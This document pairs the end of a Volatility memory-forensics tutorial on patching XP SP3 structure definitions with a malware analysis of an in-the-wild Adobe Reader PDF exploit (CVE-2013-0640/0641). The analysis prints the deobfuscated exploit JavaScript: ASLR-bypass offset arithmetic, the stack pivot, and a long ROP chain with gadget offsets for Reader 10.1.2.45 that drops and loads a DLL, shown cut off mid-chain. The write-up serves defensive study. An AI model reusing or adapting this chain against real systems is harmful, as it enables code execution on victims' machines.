> c:\mysrc\Volatility-1.4\_beta1>c:\Python26\python.exe volatility.py –profile
> Win  
> XPSP3 -f "C:\Users\bradley\Desktop\images\RAM\XPSP3-x86.dmp" pslist  
> Volatile Systems Volatility Framework 1.4\_beta1  
> invalid syntax \(xp\_sp3\_x86\_vtypes.py, line 63\)
4\. Inspecting the auto-generated structure definitions where the error was
yielded the following:

> ‘Valid’ : \[ 0x0, \[UNIMPLEMENTED LF\_BITFIELD\]\],
5\. Reading the above error indicated that pdbparse does not handle bit-fields
in structures. I modified tpi\_vtypes.py to simply ignore any structure
features that pdbparse tagged as UNIMPLEMENTED.

> def print\_vtype\(lf\):  
>  print " ‘%s’ : \[ %\#x, \{" % \(lf.name, lf.size\)  
>  for s in lf.fieldlist.substructs:  
>  ms = member\_str\(s.index\)  
> _if \(ms.find\( "UNIMPLEMENTED"\) >= 0\):  
>  pass  
>  else:_  
>  print " '%s' : \[ %\#x, %s\]," % \(s.name, s.offset, ms\)  
>  print "\} \],"
6\. I ran volatility again:

> c:\mysrc\Volatility-1.4\_beta1>c:\Python26\python.exe volatility.py –profile
> WinXPSP3 -f "C:\Users\bradley\Desktop\images\RAM\XPSP3-x86.dmp" pslist  
> Volatile Systems Volatility Framework 1.4\_beta1  
> Error – Flags has no offset in object \_MMVAD\_SHORT. Check that vtypes has
> a concerete definition for it.  
> Error – Flags has no offset in object \_CONTROL\_AREA. Check that vtypes has
> a concerete definition for it.  
> Error – Flags2 has no offset in object \_MMVAD\_LONG. Check that vtypes has
> a concerete definition for it.  
> Error – Flags has no offset in object \_MMVAD\_LONG. Check that vtypes has a
> concerete definition for it.  
> ‘NoneType’ object has no attribute ‘Signature’
7\. Reading the above error indicated that the new structure definitions were
missing some fields. These are most likely related to the removal of the bit-
fields. Viewing the structures which correspond in the original vtypes.py file
for XP SP2, we have:

> ‘\_MMVAD\_SHORT’ : \[ 0x18, \{ \  
>  'StartingVpn' : \[ 0x0, \['unsigned long'\]\], \  
>  ‘EndingVpn’ : \[ 0x4, \['unsigned long'\]\], \  
>  ‘Parent’ : \[ 0x8, \['pointer', \['\_MMVAD'\]\]\], \  
>  ‘LeftChild’ : \[ 0xc, \['pointer', \['\_MMVAD'\]\]\], \  
>  ‘RightChild’ : \[ 0x10, \['pointer', \['\_MMVAD'\]\]\], \  
>  ‘Flags’ : \[ 0x14, \['unsigned long'\]\], \  
> \} \], \
8\. The corresponding auto-generated structure definition is:

> ‘\_MMVAD\_SHORT’ : \[ 0x18, \{  
>  'StartingVpn' : \[ 0x0, \['unsigned long'\]\],  
>  ‘EndingVpn’ : \[ 0x4, \['unsigned long'\]\],  
>  ‘Parent’ : \[ 0x8, \['pointer', \['\_MMVAD'\]\]\],  
>  ‘LeftChild’ : \[ 0xc, \['pointer', \['\_MMVAD'\]\]\],  
>  ‘RightChild’ : \[ 0x10, \['pointer', \['\_MMVAD'\]\]\],  
>  ‘u’ : \[ 0x14, \['\_\_unnamed\_1498'\]\],  
> \} \],
9\. In the standard Volatility type definitions, offset 0×14 into the struct
is an unsigned long type called Flags, whereas is the auto generated types,
the same offset is a field called “u”, which has type ‘\_\_unnamed\_1498′.
Further investigation reveals that the latter type appears to be a Union
structure.

10\. In order to resolve this discrepancy, my goal was to take the working
field definition for “Flags” from the original “\_MMVAD\_SHORT” structure, and
transplant it in the newly generated structures.

11\. The problem with doing that is that editing automatically generated code
tends to lead to problems down the line. Fortunately, recent work in the
volatility framework has anticipated this kind of need, with the introduction
of type “overlays”.

12\. The existing XP type definitions already contained an overlay for the
flags field, so Michael Cohen gave me the magic incantation necessary to patch
the in memory version of the overlay structure. The patched version of the
\_MMVAD\_SHORT overlay contains a field ‘Flags’, which, when the offset of it
is read, returns the offset of the ‘u’ field of the auto-generated type
definition. Note that I am glossing over significant complexity here.

> xpsp3overlays\['\_MMVAD\_SHORT'\]\[1\]\['Flags'\]\[0\] = lambda x:
> x\['u'\]\[0\]
My next post will cover adding Vista structure definitions, and a final post
will cover the key modifications needed to find the KPCR structure.

# Open Security Research: Analysis of a Malware ROP Chain

**Created:**| _10/15/2013 2:00:48 PM_  
---|---  
**Updated:**| _10/15/2013 2:00:48 PM_  
**Author:**| __  
**Tags:**| _analysis Malware-analysis pdf rop_  
  

### Analysis of a Malware ROP Chain

By Brad Antoniewicz.  
  

<img src='img/Temp2_5828.png' />

Back in February an Adobe Reader zero-day was found being actively exploited
in the wild. You may have seen an analysis of the malware in a number of
places. I recently came across a variant of this malware and figured it would
be nice to provide a little more information on the ROP chain contained within
the exploit.  
  

# Background

After Adobe was notified of the exploit their analysis yielded two
vulnerabilities: CVE-2013-0640 and CVE-2013-0641. Initially the ambiguity of
the vulnerability descriptions within the advisories made it hard to tell if
both CVE-2013-0640 and CVE-2013-0641 were being exploited in the variant I
came across - but from what I can put together, CVE-2013-0640 was used in the
initial exploit for memory address disclosure and code execution. Then the
exploit transfers control to another DLL that escapes the Adobe Reader sandbox
by exploiting CVE-2013-0641.  
  

# Exploit Characteristics

Once I get past the malicious intent, I'm one of those people who can
appreciate a nicely written exploit or piece of malware. This variant was
particularly interesting to me because it exploited an pretty cool
vulnerability and showed signs of sophistication. However, at the same time,
there was tons of oddly structured code, duplication, and overall
unreliability. It was almost like one person found the crash, one person wrote
the ROP chain, and a final person hacked everything together and filled in the
gaps. If this was my team, I'd fire that final person :\)  
  
In this section we'll cover the general characteristics of the exploit that
serve as an important background but are not directly part of the ROP chain.  
  

## Javascript Stream

The exploit is written in Javascript embedded into a PDF stream. Extracting
the Javascript is pretty straight forward:  
  

[code]

     root@kali:~# pdfextract evil.pdf
    
    
[/code]

  
  

## Obfuscation

<img src='img/Temp2_5826.png' />

  
  
The Javascript was similar to how it was described in previous articles: It
appeared to be at least partially obfuscated, but had some readable
Italian/Spanish word references throughout. For example:  
  

[code]

    ROP_ADD_ESP_4 = 0x20c709bb;
    .
    .
    .
    pOSSEDER[sEGUENDO - 1] += "amor";
    pOSSEDER[sEGUENDO - 5] += "fe";
    pOSSEDER[sEGUENDO - 10] += "esperanza";
    
    
    
[/code]

  
  
Most everything in this article is the result of my manual deobfuscation of
the JavaScript \(lots of find and replace\).  
  
A similar Javascript exploit was found posted on a Chinese security forum. I
can't say how or if the two are connected, its possible the Chinese site just
put friendly names to the obfuscated functions. It just struct me odd that the
post named functions and variables so precisely with little structural change
from the obfuscated version.  
  

## Version Support

The exploit first checks the result of `app['viewerVersion']` to determine the
Reader version. The following versions appear to be supported within the
exploit:  

  * 10.0.1.434
  * 10.1.0.534
  * 10.1.2.45
  * 10.1.3.23
  * 10.1.4.38
  * 10.1.4.38ARA
  * 10.1.5.33
  * 11.0.0.379
  * 11.0.1.36
  * 9.5.0.270
  * 9.5.2.0
  * 9.5.3.305

The author developed entire ROP chains for each version, this surely took some
time to do. I looked at 10.1.2.45, which is the focus of this article.  
  

## ASLR

<img src='img/Temp2_5829.png' />

  
  
The address leak vulnerability in `AcroForm.api` facilitated an ASLR bypass by
providing the module load address of `AcroForm.api`. The exploit writers had
to first trigger the vulnerability, get the module load address, then adjust
the offsets in the ROP chain at runtime before loading it into memory.  
  

## Stack Pivot

<img src='img/Temp2_5827.png' />

Once the code execution vulnerability is triggered, the exploit directs Reader
to a stack pivot ROP gadget that transfers control from the program stack to
the ROP chain that is already loaded into memory on the heap. Oddly the stack
pivot address is defined within a variable inside the JavaScript ROP chain
build function, rather than being part of the returned ROP Chain string.
Instead of simply defining the stack pivot address as an offset, the exploit
writer defined it as an absolute address using the default IDA load address.  
  
Later on in the exploit the writer actually subtracts the default load address
from this gadget address to get the offset then adds the leaked address. This
is a totally different programmatic way from the approach used in this
function to calculate a gadget's address which may indicate this exploit was
developed by more than one author or maybe a IDA plugin was used to find the
stack pivot. Here's the important parts of the JavaScript associated with the
stack pivot to illustrate this conclusion:  
  

[code]

     function getROP(AcrobatVersion,moduleLoadAddr){
      .
      .
      .
      else if(AcrobatVersion == '10.1.2.45'){
       var r="";
       r+=getUnescape(moduleLoadAddr+0x17);
       r+=getUnescape(moduleLoadAddr+0x17);
       .
       .
       .
       }
      STACK_PIVOT = 0x2089209e ;
      return r;
      }
     var ropString = getROP(AdobeVersionStr['AcrobatVersion'], moduleLoadAddr);
     var idaLoadAddr= (0x20801000);
    
     stackPivotOffset = getUnescape(STACK_PIVOT - idaLoadAddr + moduleLoadAddr);
    
    
[/code]

  
  
As you can see, there are two methods here, the simple
"`getUnescape(moduleLoadAddr+0x17);`" and the more complex
"`getUnescape(STACK_PIVOT - idaLoadAddr + moduleLoadAddr);`".  
  
Rather than digging through the exploit code, an easy way to identify the
stack pivot within WinDBG is to set a breakpoint on one of the first ROP
gadgets in the Javascript ROP chain build function: `moduleOffset+0x41bc90` \-  
  

[code]

     0:000> lmf m AcroForm
    start    end        module name
    63a80000 64698000   AcroForm C:\Program Files\Adobe\Reader 10.0\Reader\plug_ins\AcroForm.api
    0:000> uf 63a80000 + 1000 + 0x41bc90
    AcroForm!DllUnregisterServer+0x39dc1a:
    63e9cc90 54              push    esp
    63e9cc91 5e              pop     esi
    63e9cc92 c3              ret
    0:000> bp 63a80000 + 1000 + 0x41bc90
    0:000> g
    
    
[/code]

  
  
When the breakpoint is reached, we can look at where the stack pointer is
pointing. Since it's pointing at memory on the heap \(and not the stack\) we
know the stack pivot executed.

[code]

     Breakpoint 5 hit
    eax=0000f904 ebx=00000001 ecx=63b1209e edx=00000000 esi=165acd6c edi=05c49f18
    eip=63e9cc90 esp=118455ac ebp=001ede18 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    AcroForm!DllUnregisterServer+0x39dc1a:
    63e9cc90 54              push    esp
    
    
    
[/code]

  
  
At this breakpoint we also know the heap block where the ROP chain was loaded
\(ESP is pointing to it\). We can use `!heap` to find the start of the heap
block and inspect it. At offset 0x4 is the stack pivot:  
  

[code]

     0:000> !heap -p -a esp
        address 118455ac found in
        _HEAP @ 1ab0000
          HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            1183f8f8 1927 0000  [00]   1183f900    0c930 - (busy)
      
    0:000> dd 1183f900    
    1183f900  00380038 63b1209e 63a81017 63a81017
    1183f910  63a81017 63a81017 63a81017 63a81017
    1183f920  63a81017 63a81017 63a81017 63a81017
    1183f930  63a81017 63a81017 63a81017 63a81017
    1183f940  63a81017 63a81017 63a81017 63a81017
    1183f950  63a81017 63a81017 63a81017 63a81017
    1183f960  63a81017 63a81017 63a81017 63a81017
    1183f970  63a81017 63a81017 63a81017 63a81017
    
    0:000> uf 63b1209e
    AcroForm!DllUnregisterServer+0x13028:
    63b1209e 50              push    eax
    63b1209f 5c              pop     esp
    63b120a0 59              pop     ecx
    63b120a1 0fb7c0          movzx   eax,ax
    63b120a4 c3              ret
    
    
[/code]

  
  

## JavaScript DLLs

At the end of every version-dependent ROP chain is:

[code]

     0x6f004d
     0x750064
     0x65006c
      
    
[/code]

  
  
Which is the hexadecimal equivalent of the unicode string "Module". Appended
to that is a larger block of data. Later on we'll determine that the ROP chain
searches the process memory for this specific delimiter\("Module"\) to
identify the block which is the start of a base64 encoded DLL that gets loaded
as the payload.  
  

# ROP Pseudocode

Before we dig into the assembly of the ROP chain, let's look at it from a high
level. It uses the Windows API to retrieve a compressed base64 encoded DLL
from memory. It decodes it, decompresses it, and loads it. If we were to
translate its assembly to a higher level pseudo code, it would look something
like this:

[code]

     hModule = LoadLibraryA("MSVCR90.DLL");
    __wcsstr = GetProcAddress(hModule, "wcsstr"); 
    base64blob = __wcsstr(PtrBlob, "Module"); 
    
    hModule = LoadLibraryA("Crypt32.dll");
    __CryptStringToBinaryA = GetProcAddress(hModule, "CryptStringToBinaryA");
    __CryptStringToBinaryA(base64blob, 0, CRYPT_STRING_BASE64, decodedBlob, pcbBinary, pdwSkip, pdwFlags );
    
    hModule = LoadLibraryA("NTDLL.dll");
    __RtlDecompressBuffer = GetProcAddress(hModule, "RtlDecompressBuffer");
    __RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, decompressedBlob, UncompressedBufferSize, decodedBlob, CompressedBufferSize, FinalUncompressedSize); 
    
    hModule = LoadLibraryA("MSVCR90.DLL");
    __fwrite = GetProcAddress(hModule, "fwrite"); 
    
    hModule = LoadLibraryA("Kernel32.dll");
    __GetTempPathA = GetProcAddress(hModule, "GetTempPathA"); 
    
    tmpPath = "C:\Users\user\AppData\Local\Temp\";
    __GetTempPathA(nBufferLength , tmpPath); 
    
    tmpPath += "D.T";
    
    hFile = fopen(tmpPath, "wb");
    fwrite(decompressedBlob, size, count, hFile); 
    fclose(hFile); 
    
    LoadLibraryA("C:\Users\user\AppData\Local\Temp\D.T");
    Sleep(0x1010101);
    
    
[/code]

  
  

# Setup

The first thing the ROP Chain does is note where it is in memory. We'll see
later on that it does this so it can dynamically modify the arguments passed
to the functions it calls rather using static values.  
  

[code]

     r+=ue(t+0x41bc90) ; // push esp/pop esi/ret
    
    
[/code]

  
  
The `r` variable is returned to the caller as the ROP chain, the `ue()`
returns an `unescape()'ed` string from the parameters it was passed and the
`t` variable is the `AcroForm.api` module load address.  
  
The pseudocode above shows that a number of calls, particularly the ones to
`LoadLibraryA()` and `GetProcAddress()`, require strings as arguments. The ROP
Chain accomplishes this by directly copying the strings into the `.data`
segment of `AcroForm.api`.  
  

<img src='img/Temp2_5825.png' />

  
  
A snip of JavaScript code responsible for this is below:  
  

[code]

     r+=ue(t+0x51f5fd); pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818001); // data_segment + 0x1
    r+=getUnescape(moduleLoadAddr+0x5efb29); // pop ecx/ret
    r+=getUnescape(0x54746547); // string
    r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818005); // data_segment + 0x5
    r+=getUnescape(moduleLoadAddr+0x5efb29); // pop ecx/ret
    r+=getUnescape(0x50706d65); // string + 0x4
    r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret
    
    
[/code]

  
  
These groups of instructions are repeated for each DWORD for the length of the
string, incrementing the `data_segment` and `string` offsets respectively. The
entire `string` that is copied to the `.data` segment is:  
  

[code]

     0:008> db 63470000 + 1000 + 0x818001 L4e
    63c89001  47 65 74 54 65 6d 70 50-61 74 68 41 00 66 77 72  GetTempPathA.fwr
    63c89011  69 74 65 00 77 62 00 43-72 79 70 74 53 74 72 69  ite.wb.CryptStri
    63c89021  6e 67 54 6f 42 69 6e 61-72 79 41 00 6e 74 64 6c  ngToBinaryA.ntdl
    63c89031  6c 00 52 74 6c 44 65 63-6f 6d 70 72 65 73 73 42  l.RtlDecompressB
    63c89041  75 66 66 65 72 00 77 63-73 73 74 72 00 41        uffer.wcsstr.A
    
    
    
[/code]

  
  
As you can see, the strings for each of the function arguments are present.  
  

# Function Calls

The rest of the ROPChain is mostly the same couple of steps repeated:  
  

  1. Prepare arguments for function calls
  2. Call `LoadLibraryA()`
  3. Call `GetProcAddress()`
  4. Call function

It performs these steps for the calls to `wcsstr()`, `CryptStringToBinaryA()`,
`RtlDecompressBuffer()`, `fwrite()`, `GetTempPathA()`, and `fclose()`. Lets
see what one of these calls look like:  
  

## Call to `wcsstr()`

The ultimate goal of the following series of instructions is to set up the
stack to make a call to `wcsstr()`. MSDN shows that the call should look like
this:  
  

[code]

     wchar_t *wcsstr(
       const wchar_t *str,
       const wchar_t *strSearch 
    );
    
    
[/code]

  
  
For the `*strSearch` parameter the author placed a pointer in the JavaScript
ROP Chain to the `.rdata` segment of `AcroForm.api` which contains the unicode
string "`Module`". Then to determine the `*str` parameter, the author used the
saved stack pointer gathered in the first few instructions of the ROP Chain to
calculate the memory address of `*strSearch` on the stack and place it at the
precise offset on the stack where `wcsstr()` will look for it once called.
Really any pointer to a memory address within the ROP Chain could have been
used as the `*str` parameter, since it's at the end of the ROP Chain where the
unicode string "`Module`" was added by the author to indicate the start of the
payload. Come to think of it, the author could have probably just calculated
the offset to the end of the ROP Chain and skipped the entire `wcsstr()` call.  
  
Let's see the JavaScript and assembly, This first set of gadgets simply
determines the memory address on the stack of the "`Module`" unicode string in
the `.rdata` segment of `AcroForm.api`. Remember, `esi` was used at the start
of the ROP chain to store the stack pointer after the pivot.  
  

[code]

    r+=getUnescape(moduleLoadAddr+0x5ec230); // pop edi/ret
    r+=getUnescape(0xcccc0240);
    r+=getUnescape(moduleLoadAddr+0x4225cc); // movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); // ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); // add     edi,esi/ret 
    r+=getUnescape(moduleLoadAddr+0x538c1d); // xchg    eax,edi/ret
    r+=getUnescape(moduleLoadAddr+0x508c23); // xchg    eax,ecx/ret
    
    
[/code]

  
  
One note is the use of `0xcccc0240` as the offset. It turns to `0x00000240`
after the `movsx edi, di`. My guess is that the author was trying to avoid
nulls within the chain, but if you look at the other areas of the payload,
there are tons of nulls used. This implies that the use of nulls is not
needed, making it extra, unneeded work by the author. It makes me wonder if it
indicates an automatically generated ROP chain or possibly a borrowed chain
from another exploit.  
  
At the end of this set of instructions, the memory address on the stack of the
pointer to the `.rdata` "`Module` resides in `ecx`.  
  
The next set of instructions determine the offset on the stack where the
`*str` parameter would be. The JavaScript ROP Chain contains `0x41414141` at
that offset but the last two sets of instructions overwrite that value with
the memory address on the stack of the pointer to the `.rdata` "`Module`".  
  

[code]

    r+=getUnescape(moduleLoadAddr+0x5ec230); // pop edi/ret
    r+=getUnescape(0xcccc023c);
    r+=getUnescape(moduleLoadAddr+0x4225cc); // movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); // ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); // add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); // push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret
    
    
[/code]

  
  
At this point, the stack is populated with the appropriate parameters at the
appropriate places so that the call to `wcsstr()` can search the memory region
where the ROP Chain is for the unicode string of "`Module`" \- which indicates
the start of the payload.  
  
However, calling `wcsstr()` isn't that simple. In the next set of
instructions, the author calls `LoadLibraryA()` to load `MSVCR90.dll` which is
the first step in preparing the module to call the function. The
`LoadLibrary()` function is pretty straight forward to call:  
  

[code]

    HMODULE WINAPI LoadLibrary(
      _In_  LPCTSTR lpFileName
    );
    
    
[/code]

  
  
With that as a reference, lets look at the ROP Chain:  
  

[code]

    r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f1214); // 65cf2214={kernel32!LoadLibraryA (769d2864)} ; Address to kernel32!LoadLibraryA
    r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret
    r+=getUnescape(moduleLoadAddr+0x816e96); // ptr to "MSVCR90.dll" 
    r+=getUnescape(moduleLoadAddr+0x508c23); // xchg    eax,ecx/ret 
    
    
[/code]

  
  
This is a pretty simple set of instructions, the author loads the address in
the import table for `LoadLibraryA()` into `eax` then calls it. When
`LoadLibraryA()` looks on the stack for its parameters, it'll see the pointer
to the `.rdata` segment of `AcroForm.api` which contains to the string
"`MSVCR90.dll`". The return value is a handle to the module set in `eax` and
then immediately copied to `ecx`.  
  
Next the author has to save the handle at the specific offset on the stack
where the next call to `GetProcAddress` will look for it. This should look
familiar, its essentially the same sequence of instructions that the author
used to set up the stack for the `wcsstr()` call \(that hasn't happened yet\).  
  

[code]

    r+=getUnescape(moduleLoadAddr+0x5ec230); // pop edi/ret
    r+=getUnescape(moduleLoadAddr+0xcccc022c);
    r+=getUnescape(moduleLoadAddr+0x4225cc); // movsx   edi,di/ret
    r+=getUnescape(moduleLoadAddr+0x17); // ret
    r+=getUnescape(moduleLoadAddr+0x13ca8b); // add     edi,esi/ret
    r+=getUnescape(moduleLoadAddr+0x25e883); // push edi/pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x46d6ca); // mov [eax], ecx/ret
    
    
[/code]

  
  
A call to `GetProcAddress()` follows, lets see how to call it:  
  

[code]

    FARPROC WINAPI GetProcAddress(
      _In_  HMODULE hModule,
      _In_  LPCSTR lpProcName
    );
    
    
[/code]

  
  
In a similar fashion to the `LoadLibraryA()` call, the import address for
`GetProcAddress` is loaded into `eax` and called. The `0x41414141` was
overwritten in the previous set of instructions and now contains the handle
that was returned from the `LoadLibraryA()` call, which is used for the
`hModule` parameter. The `lpProcName` parameter was defined in the setup part
of the ROP Chain where the author copied the string to the data segment of
`AcroForm.api`. The address to the precise area of the data segment which
contains the "`wcsstr`" string was already populated in the JavaScript.  
  

[code]

    r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f11d4); // Address to kernel32!GetProcAddressStub 
    r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret
    r+=getUnescape(0x41414141); // Placeholder for ptr to LoadLibrary Handle
    r+=getUnescape(moduleLoadAddr+0x818047); // data_segment + 0x47 ("wcsstr")
    
    
[/code]

  
  
`GetProcAddress` will return the address of `wcsstr()` in `eax`. The
`wcsstr()` function parameters were already set up earlier on, so all that's
left is to call `eax`. The last line adjusts `eax` so that it points to the
start of the payload, and not at the "`Module`" delimiter.  
  

[code]

    r+=getUnescape(moduleLoadAddr+0x154a); // jmp     eax {MSVCR90!wcsstr (7189752c)}
    r+=getUnescape(moduleLoadAddr+0x5ec1a0); // pop ecx/pop ecx/ret
    r+=getUnescape(0x41414141); // Ptr to stack populated during setup
    r+=getUnescape(moduleLoadAddr+0x60a990); // Ptr to unicode "Module" in .data
    r+=getUnescape(moduleLoadAddr+0x2df56d); // add eax, 0ch/ret
    
    
[/code]

  
  

# Prepping and Writing the DLL

Now the ROP Chain has a pointer to the compressed base64 encoded DLL. The rest
of the chain decodes \(`CryptStringToBinaryA`\), decompresses
\(`RtlDecompressBuffer`\) and writes the DLL to
"`C:\Users\user\AppData\Local\Temp\D.T`" using the same high level gadgets
just described in this section. It uses `GetTempPathA()` to determine the
user's temporary file store, which is where the DLL is saved.  
  

# Loading the DLL

With the `D.T` DLL written to disk, loading is just a matter of calling
`LoadLibraryA()`. The DLL automatically starts it own thread and the remainder
of the ROP Chain is just a call to `Sleep()`.  
  

[code]

    r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x5f1214); // 65cf2214={kernel32!LoadLibraryA (769d2864)}
    r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret
    r+=getUnescape(moduleLoadAddr+0x818101); // Loads D.T as a library
    r+=getUnescape(moduleLoadAddr+0x51f5fd); // pop eax/ret 
    r+=getUnescape(moduleLoadAddr+0x5f10c0); // ds:0023:65cf20c0={kernel32!SleepStub (769cef66)}
    r+=getUnescape(moduleLoadAddr+0x4b1788); // call [eax]/ret  
    r+=getUnescape(moduleLoadAddr+0x17); // ret
    r+=getUnescape(0x1010101);
    
    
[/code]

  
  

# Full ROP Chain

Here's the ROP Chain in its entirety, I manually deobfuscated it and added the
assembly annotations.  
  

[code]

    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    r+=getUnescape(moduleLoadAddr+0x17); //ret
    
    r+=getUnescape(moduleLoadAddr+0x41bc90); //push esp/pop esi/ret 
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818001); //data_segment + 0x1
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x54746547);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret ;
    r+=getUnescape(moduleLoadAddr+0x818005); //scratch_space + 0x5
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x50706d65);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818009); //scratch_space + 0x9
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x41687461);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x81800d); //scratch_space + 0xd
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x41414100);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x81800e); //scratch_space + 0xe
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x69727766);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818012); //scratch_space + 0x12
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x41006574);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818015); //scratch_space + 0x15
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x41006277);
    r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret
    
    r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret
    r+=getUnescape(moduleLoadAddr+0x818018); //scratch_space + 0x18
    r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret
    r+=getUnescape(0x70797243);
